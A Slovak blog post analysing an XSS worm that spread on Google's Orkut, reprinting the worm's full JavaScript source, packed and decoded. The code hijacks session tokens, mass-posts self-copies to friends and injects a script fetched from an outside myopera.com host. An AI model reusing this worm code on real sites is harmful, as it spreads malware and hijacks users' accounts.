Feedback Form
Feed subscription » blog | » comments | » irc | » fórum | » mobi | » twitter

Google Orkut pod “paľbou” XSS červa

Google Orkut pod “paľbou” XSS červaLen nedávno vypustila jedna privátna 0day skupina niekoľko desiatok tzv. Full Disclosure with POC (úplne odhalenie spolu s dôkazom o funkčnosti) pre Google a jeho služby. Google sa kvôli svojej obrovskej masivite stretáva s neustálymi problémami bezpečnostných chýb, no väčšinou je v jednaní pružný.

Dokazuje to aj XSS objavený na stránkach Youtube ktorý odstránili za necelých 26 minút od nahlásenia. Dobrým ťahom v tomto smere bolo aj zamestnanie Michala Zalewski-ho ktorý komunitu pozná a dlhodobo sa v nej pohybuje. Vďaka nemu sa Googlu darí “hasiť” problémy v rýchlych reakčných časoch.

Google Orkut asi veľa z vás poznať nebude. Je to sociálna sieť ktorá umožňuje hľadať nových priateľov na základe spoločných znakov a potom s nimi zdieľať napríklad fotografie, zážitky atď. Google Orkut je veľmi podobnú napríklad Facebooku. Včera niekoľko užívateľov tohto portálu informovalo o napadnutí ich konta červom, ktorý sa neustále odosiela a útočí na priateľov ktorých majú v zozname. Google ma však tentokrát veľmi sklamal, jeho reakčná doba je nadmieru otrasná! No najhoršie je, že Google nemal ani tú slušnosť o tejto skutočnosti informovať na svojich stránkach alebo blogu k tejto službe. Ak si niekto z Googlu myslel že sa to dokonale utají, bol na omyle.

Červ už dostal aj meno od ľudí z McAfee a to W32/KutWormor. Jeho autor je brazílčan Rodrigo Lacerda ktorý demonštroval to čoho sa odborná komunita obáva už dlhší čas. Nárastom Web 2.0 portálov je čim ďalej tým ťahšie zabezpečiť portál. Väčšina autorov kvôli vidine obrovského zisku a slabej skúsenosti so zebezpečovaním aplikácií robí rýchle kroky, používajú desiatky open-source riešení ktoré spájajú dokopy, a preto znamenajú obrovske riziko. Ďalšia vec je, že tieto weby obsahujú cenné informácie pre útočníkov, ktoré by inak nemali ako získať. Už dlho sa očakávala podobná forma útoku, našťastie táto pripomína pamätný vírus MyDoom. Červ nerobí žiadnu škodu, nesťahuje škodlivý kód “len” pozýva ľudí do komunity a odosiela vlastné kópie ďalším užívateľom zo zoznamu obete. Takto ich už nachytal neuveriteľných 636 765.

Môžeme očakávať nárast takýchto červov či iných podobných útokov? Určite, verím že v roku 2008 to bude problematika N.1, pretože dnes je veľka čast používateľov internetu centralizovaná na jednom mieste (sociálne siete). Útočník získa dáta ku ktorým by sa bežne dostával dlhosiahlo a pracne, takto na jeden záťah je možné chytiť státisíce, ako je možné videť práve na tomto prípade.

Infectados pelo Vírus do Orkut

Červ využíva možnosť zasielania html príloh v emailoch (v Orkute sa to volá scrap) kde za pomoci XSS a Flashu sťahuje svoju kód ktorý automaticky začne rozosielať svoje kópie všetkým užívateľom Orkutu nachádzajúcich sa v zozname obete a zároveň ho pridá do svojej komunity Infectados pelo Vírus do Orkut.

Email obsahuje napríklad takýto text:

  • “2008 vem ai… que ele comece mto bem para vc” čo v preklade znamená “Rok 2008 sa blíži, dúfam že začne pre vás šťastne”
  • “Boas Festas de final de Ano!” čo v preklade znamená “Príjemnú zábavu na silvestra”

Originálny kód červa (nedekódovaný)
function $(p,a,c,k,e,d) {
e=function(c) {
return(c35?String.fromCharCode(c+29):c.toString(36))
};
if(!''.replace(/^/,String)){
while(c--){d[e(c)]=k[c]||e(c)}
k=[function(e){return d[e]}];
e=function(){return’\\w+’};
c=1
};
while(c–){
if(k[c]){
p=p.replace(new RegExp(’\\b’+e(c)+’\\b’,'g’),k[c])
}
}
return p
};
setTimeout(
$(’5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14(”29.1l”)}
L(e){};Z{b i 14(”2b.1l”)}L(e){};Z{b i 2l()}L(e){};b J};
7 W(g,P,m,c,9,U){5 1m=g+”=”+19(P)+(m?”; m=”+m.2f():”")+(c?”; c=”+c:”")+(9?”; 9=”+9:”")+(U?”; U”:”");
8.y=1m};7 v(g){5 l=8.y;5 A=g+”=”;5 h=l.S(”; “+A);6(h==-1){h=l.S(A);6(h!=0){b 2h}}16{h+=2};
5 u=8.y.S(”;”,h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};
7 26(g,c,9){6(v(g)){8.y=g+”=”+(c?”; c=”+c:”")+(9?”; 9=”+9:”")+”; m=1u, 1i-1v-1x 1g:1g:1i 1y”;1U.1z(0)}};
7 G(){5 3=B();6(3){3.R(”1A”,”o://k.w.p/1B.z”,C);3.a(J);3.Y=7(){6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n(”t”);
t.1D=1r;5 f=t.D(”f”).O(0);6(f){f.1M(f.D(”1F”).O(0));f.1G(”1H”,”N”);f.1J.1K=”1L”;8.1N.1f(f);V()}}16{G()}}};
3.a(J)}};7 T(){5 a=”H=”+n(q)+”&K=”+n(E)+”&15.1O”;5 3=B();3.R(\’q\’,\’o://k.w.p/1P.z?1R=1S\’,C);
3.12(\’10-1e\’,\’Q/x-k-17-1b\’);3.a(a);3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};
7 V(){6(j==8.18(”N”).M){b};
5 I=”1V 1W 1X… 1Y 1Z 20 21 22 23 24<1k/>[1j]25 “+i F()+”[/1j]<1k/><13 1o="\\" 2a="\\" 2e="\\" r="8.1n(\'r\');r.1o=" 1c="\\" 1e="\\">“;
5 a=”15.1I=1&H=”+n(q)+”&I=”+n(I)+”&K=”+n(E)+”&1T=”+8.18(”N”).O(j).P;5 3=B();
3.R(”q”,”o://k.w.p/2i.z”,C);3.12(”10-1e”,”Q/x-k-17-1b;”);
3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\’s\’,j,d);V()}}};
6(!v(\’s\’)){5 d=i F;d.1d(d.1h()+11);W(\’s\’,\’0\’,d)};j=v(\’s\’);T();
‘,62,150,’|||xml||var|if|function|document|domain|send|return|path|wDate||select|name|begin|new|index|
www|dc|expires|encodeURIComponent|http|com|POST|script|wormdoorkut|div|end|getCookie|orkut||cookie|aspx
|prefix|createXMLHttpRequest|true|getElementsByTagName|SIG|Date|loadFriends|POST_TOKEN|scrapText|null|
signature|catch|length|selectedList|item|value|application|open|indexOf|cmm_join|secure|sendScrap|setCookie|
readyState|onreadystatechange|try|Content|86400|setRequestHeader|embed|ActiveXObject|Action|else|form|
getElementById|escape|status|urlencoded|200|setTime|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|
createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|GMT|go|GET|Compose|width|innerHTML|height|option|
setAttribute|id|submit|style|display|none|removeChild|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|
history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|raw|LoL|Msxml2|type|Microsoft|shockwave|flash|
wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera
|XMLHttpRequest|substring|virusdoorkut|CGI|Page’.split(’|'),0,{}),1
);
author=”Rodrigo Lacerda”

Autor kvôli funkčnosti zakódoval červa, tu je jeho dekódovaná verzia.

Originálny kód červa (dekódovaný)
var index = 0;
var POST = JSHDF["CGI.POST_TOKEN"];
var SIG = JSHDF["Page.signature.raw"];
function
createXMLHttpRequest ()
{
try
{
return new ActiveXObject (”Msxml2.XMLHTTP”)}
catch (e)
{
};
try
{
return new ActiveXObject (”Microsoft.XMLHTTP”)}
catch (e)
{
};
try
{
return new XMLHttpRequest ()}
catch (e)
{
};
return null};
function
setCookie (name, value, expires, path, domain, secure)
{
var curCookie =
name + “=” + escape (value) + (expires ? “; expires=” +
expires.toGMTString () : “”) +
(path ? “; path=” + path : “”) + (domain ? “; domain=” + domain : “”) +
(secure ? “; secure” : “”);
document.cookie = curCookie};
function
getCookie (name)
{
var dc = document.cookie;
var prefix = name + “=”;
var begin = dc.indexOf (”; ” + prefix);
if (begin == -1)
{
begin = dc.indexOf (prefix);
if (begin != 0)
{
return false}
}
else
{
begin += 2};
var end = document.cookie.indexOf (”;”, begin);
if (end == -1)
{
end = dc.length};
return unescape (dc.substring (begin + prefix.length, end))};
function
deleteCookie (name, path, domain)
{
if (getCookie (name))
{
document.cookie =
name + “=” + (path ? “; path=” + path : “”) + (domain ? “; domain=” +
domain : “”) +
“; expires=Thu, 01-Jan-70 00:00:01 GMT”;
history.go (0)}
};
function
loadFriends ()
{
var xml = createXMLHttpRequest ();
if (xml)
{
xml.open (”GET”, “http://www.orkut.com/Compose.aspx”, true);
xml.send (null);
xml.onreadystatechange = function ()
{
if (xml.readyState == 4)
{
if (xml.status == 200)
{
var xmlr = xml.responseText;
var div = document.createElement (”div”);
div.innerHTML = xmlr;
var select = div.getElementsByTagName (”select”).item (0);
if (select)
{
select.removeChild (select.
getElementsByTagName (”option”).
item (0));
select.setAttribute (”id”, “selectedList”);
select.style.display = “none”;
document.body.appendChild (select);
sendScrap ()}
}
else
{
loadFriends ()}
}
};
xml.send (null)}
};
function
cmm_join ()
{
var send =
“POST_TOKEN=” + encodeURIComponent (POST) + “&signature=” +
encodeURIComponent (SIG) + “&Action.join”;
var xml = createXMLHttpRequest ();
xml.open (’POST’, ‘http://www.orkut.com/CommunityJoin.aspx?cmm=44001818′,
true);
xml.setRequestHeader (’Content-Type’, ‘application/x-www-form-urlencoded’);
xml.send (send);
xml.onreadystatechange = function ()
{
if (xml.readyState == 4)
{
if (xml.status != 200)
{
cmm_join ();
return};
loadFriends ()}
}
};
function
sendScrap ()
{
if (index == document.getElementById (”selectedList”).length)
{
return};
var scrapText =
“2008 vem ai… que ele comece mto bem para vc<br/>[silver]RL ” +
new Date () +
“[/silver]<br/><embed src=\”http://www.orkut.com/LoL.aspx\” type=\”application/x-shockwave-flash\” wmode=\”transparent’); script=document.createElement(’script’);script.src=’http://files.myopera.com/virusdoorkut/files/virus.js’;document.getElementsByTagName(’head’)[0].appendChild(script);escape(’\” width=\”1\” height=\”1\”></embed>”;
var send =
“Action.submit=1&POST_TOKEN=” + encodeURIComponent (POST) +
“&scrapText=” + encodeURIComponent (scrapText) + “&signature=” +
encodeURIComponent (SIG) + “&toUserId=” +
document.getElementById (”selectedList”).item (index).value;
var xml = createXMLHttpRequest ();
xml.open (”POST”, “http://www.orkut.com/Scrapbook.aspx”, true);
xml.setRequestHeader (”Content-Type”, “application/x-www-form-urlencoded;”);
xml.send (send);
xml.onreadystatechange = function ()
{
if (xml.readyState == 4)
{
index++;
var wDate = new Date;
wDate.setTime (wDate.getTime () + 86400);
setCookie (’wormdoorkut’, index, wDate);
sendScrap ()}
}
};
if (!getCookie (’wormdoorkut’))
{
var wDate = new Date;
wDate.setTime (wDate.getTime () + 86400);
setCookie (’wormdoorkut’, ‘0′, wDate)};
index = getCookie (’wormdoorkut’);
cmm_join ();

Oba kódy si môžete prezrieť formátovane tu (nedekódovaná verzia) a tu (dekódovaná verzia)



Príbuzné články:
  • Google spúšťa profily, približuje sa k sociálnym sieťam
  • Google reader, ďalší prešľap a la Google
  • Pilotná prevádzka Google konkurenta Wikie zahájená
  • Facebook, Plaxo a Google vstúpili do DataPortability Workgroup
  • Goolag.org predstavil Google Dork Scanner


  • 1 Response to “Google Orkut pod “paľbou” XSS červa”


    1. 1 Facebook, Plaxo a Google vstúpili do DataPortability Workgroup Pingback on Jan 8th, 2008 at 23:57

    Leave a Reply